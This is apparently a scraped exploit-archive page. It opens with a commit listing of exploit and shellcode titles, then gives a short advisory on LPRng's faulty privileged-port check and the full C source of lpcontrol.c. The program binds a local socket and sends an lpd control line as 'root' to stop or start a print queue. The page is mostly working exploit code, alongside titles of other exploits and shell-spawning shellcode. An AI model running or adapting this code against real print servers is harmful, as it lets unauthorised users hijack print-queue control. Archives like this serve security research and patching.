
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
118 lines
No EOL
3.3 KiB
C
118 lines
No EOL
3.3 KiB
C
// source: https://www.securityfocus.com/bid/508/info
|
|
|
|
|
|
The LPRng software is an enhanced, extended, and portable version of the Berkeley LPR software (the standard UNIX printer spooler) that ships with Debian GNU/Linux. When root controls the print queue, the authentication that is used is based on whether the client source port connecting to lpd is privileged or not. Apparently, lpd does not check the source port properly, and it is possible for any local user to control the print queue with a modified client. The consequences of this vulnerability being exploited is a compromise of print queue control.
|
|
|
|
---- start lpcontrol.c ----------------------------------------------
|
|
/* Exploit for lprng's source port check failure.
|
|
* Written and tested on Debian GNU/Linux
|
|
*
|
|
* Chris Leishman <masklin@debian.org>
|
|
*/
|
|
|
|
|
|
#include <stdlib.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <arpa/inet.h>
|
|
#include <netinet/in.h>
|
|
#include <netdb.h>
|
|
#include <errno.h>
|
|
#include <string.h>
|
|
|
|
|
|
#define SRC_PORT 2056
|
|
#define HOST "127.0.0.1"
|
|
#define DST_PORT 515
|
|
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
int sock;
|
|
struct sockaddr_in dest_sin;
|
|
struct sockaddr_in src_sin;
|
|
struct hostent *hp;
|
|
unsigned long ipnum;
|
|
char line[256];
|
|
int mode = 0;
|
|
|
|
if (argc < 2)
|
|
{
|
|
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (argc >= 3)
|
|
{
|
|
if (!strcmp(argv[2], "start"))
|
|
mode = 1;
|
|
else if (strcmp(argv[2], "stop"))
|
|
{
|
|
fprintf(stderr, "Invalid mode. Use stop or start.\n");
|
|
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
snprintf(line, sizeof(line), "%c%s root %s %s\n",=20
|
|
6, argv[1], (mode)? "start":"stop", argv[1]);
|
|
|
|
memset(&dest_sin, 0, sizeof(struct sockaddr_in));
|
|
dest_sin.sin_port = htons((short) DST_PORT);
|
|
|
|
ipnum = (unsigned long) inet_addr(HOST);
|
|
if (ipnum != ((unsigned long) INADDR_NONE))
|
|
{
|
|
dest_sin.sin_family = AF_INET;
|
|
dest_sin.sin_addr.s_addr = ipnum;
|
|
}
|
|
else
|
|
{
|
|
if ((hp = gethostbyname(HOST)) == NULL)
|
|
{
|
|
fprintf(stderr, "Host lookup failed.\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
dest_sin.sin_family = hp->h_addrtype;
|
|
memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
|
|
(size_t)hp->h_length);
|
|
}
|
|
|
|
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
|
|
{
|
|
perror("Socket call failed");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
src_sin.sin_family = AF_INET;
|
|
src_sin.sin_addr.s_addr = INADDR_ANY;
|
|
src_sin.sin_port = htons((u_short) SRC_PORT);
|
|
|
|
if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
|
|
{
|
|
perror("Bind failed");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
|
|
{
|
|
close(sock);
|
|
perror("Connect failed");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (write(sock, line, strlen(line)) <= 0)
|
|
{
|
|
perror("Write failed");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
close(sock);
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|
|
|
|
---- stop lpcontrol.c ----------------------------------------------- |